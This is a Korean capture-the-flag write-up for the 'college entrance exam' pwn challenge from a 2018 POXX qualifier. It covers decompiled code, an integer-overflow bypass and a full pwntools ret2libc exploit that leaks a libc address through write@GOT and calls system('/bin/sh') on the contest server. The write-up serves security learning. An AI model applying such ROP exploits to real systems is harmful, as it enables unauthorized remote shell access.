[2018 POXX 예선] college entrance exam
college entrance exam (145p)
문제이다.
문제에 접속하면 다음과 같다.
ubuntu@ubuntu:~/pox$ ./cee
When is the college entrance exam?
aaa
NoNo..
문제의 보호기법을 확인 해 보면 다음과 같다.
pwndbg> checksec
[*] '/home/ubuntu/pox/cee'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA로 분석 해 보면, 아래와 같은 소스코드를 확인할 수 있다. if문의 조건들을 만족하여 마지막에 가야하는 것으로 보인다. 리버싱(?)을 통해 처음에는 “2018-11-15”을 , 그 이후에는 integer overflow가 발생하므로 “-1”을 입력하여 마지막으로 갈 수 있다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[32]; // [rsp+0h] [rbp-30h]
unsigned int v5; // [rsp+20h] [rbp-10h]
int v6; // [rsp+24h] [rbp-Ch]
int v7; // [rsp+28h] [rbp-8h]
int v8; // [rsp+2Ch] [rbp-4h]
memset(s, 0, 0x20uLL);
write(1, "When is the college entrance exam?\n", 0x23uLL);
read(0, s, 0x1FuLL);
s[strlen(s) - 1] = 0;
if ( strcmp(s, "2018-11-15") )
{
write(1, "NoNo..", 6uLL);
exit(-1);
}
write(1, "-------- DDAY - 165 --------\n", 0x1DuLL);
write(1, "Enter your Korean score :", 0x19uLL);
read(0, s, 4uLL);
v8 = atoi(s);
if ( v8 > 90 )
{
write(1, "..?", 4uLL);
exit(-1);
}
write(1, "Enter your English score :", 0x1AuLL);
read(0, s, 4uLL);
v7 = atoi(s);
if ( v7 > 90 )
{
write(1, "..?", 4uLL);
exit(-1);
}
write(1, "Enter your math score :", 0x17uLL);
read(0, s, 4uLL);
v6 = atoi(s);
if ( v6 > 90 )
{
write(1, "..?\n", 4uLL);
exit(-1);
}
v5 = (v7 + v8 + v6) / 3;
printf("AVG : %d\n", v5);
if ( v5 <= 0x64 )
{
write(1, "What..? hu..", 0xCuLL);
}
else
{
write(1, "Wow!!! You are a genius!!!\n", 0x1BuLL);
write(1, "Please enter your feelings!!\n", 0x1DuLL);
read(0, s, 0x60uLL);
write(1, "Thank You!!", 0xBuLL);
}
return 0LL;
}
마지막의 read 함수에서 leak하고 ROPgadget을 이용하여 exploit하면 된다.
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x0000000000400580 write@plt
0x0000000000400590 strlen@plt
0x00000000004005a0 printf@plt
0x00000000004005b0 memset@plt
0x00000000004005c0 read@plt
0x00000000004005d0 __libc_start_main@plt
0x00000000004005e0 strcmp@plt
0x00000000004005f0 atoi@plt
0x0000000000400600 exit@plt
libc-database
를 이용하여 libc버전과 offset을 구하였다.
ubuntu@ubuntu:~/libc-database$ ldd ../pox/cee
linux-vdso.so.1 => (0x00007fffa49b6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbc98477000)
/lib64/ld-linux-x86-64.so.2 (0x00007fbc98841000)
ubuntu@ubuntu:~/libc-database$ gdb -q /lib/x86_64-linux-gnu/libc.so.6
pwndbg: loaded 169 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
pwndbg> p write-system
$1 = 728864
Exploit
from pwn import *
r = remote('49.247.192.131', 9802)
write_got = 0x0000000000601018
write_plt = 0x0000000000400580
read_got = 0x0000000000601038
ppr = 0x0000000000400a51 #: pop rsi ; pop r15 ; ret
r.recvuntil("When is the college entrance exam?\n")
r.sendline("2018-11-15")
r.recvuntil("Enter your Korean score :")
r.sendline("-1")
r.recvuntil("Enter your English score :")
r.sendline("-1")
r.recvuntil("Enter your math score :")
r.sendline("-1")
payload = "a"*56
payload += p64(ppr)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_plt)
print "[*] payload", payload
r.recv()
r.send(payload)
r.recvuntil("Thank You!!")
leak = r.recv(8)
print "[*] leak : ", repr(leak)
write_libc = u64(leak)
print "[*] write_libc : ", hex(write_libc)
system_libc = write_libc - 0xb1f20
binsh_libc = write_libc + 0x95aa7
print "[*] system_libc : " , hex(system_libc)
print "[*] binsh_libc : ", hex(binsh_libc)
r.recv()
r.sendline("2018-11-15")
r.recv()
r.sendline("-1")
r.recv()
r.sendline("-1")
r.recv()
r.sendline("-1")
pr = 0x0000000000400a53 #: pop rdi ; ret
payload2 = p64(0x616161616161)*7
payload2 += p64(pr)
payload2 += p64(binsh_libc)
payload2 += p64(system_libc)
r.read()
r.send(payload2)
r.interactive()
위의 코드를 실행하 flag를 얻을 수 있었다.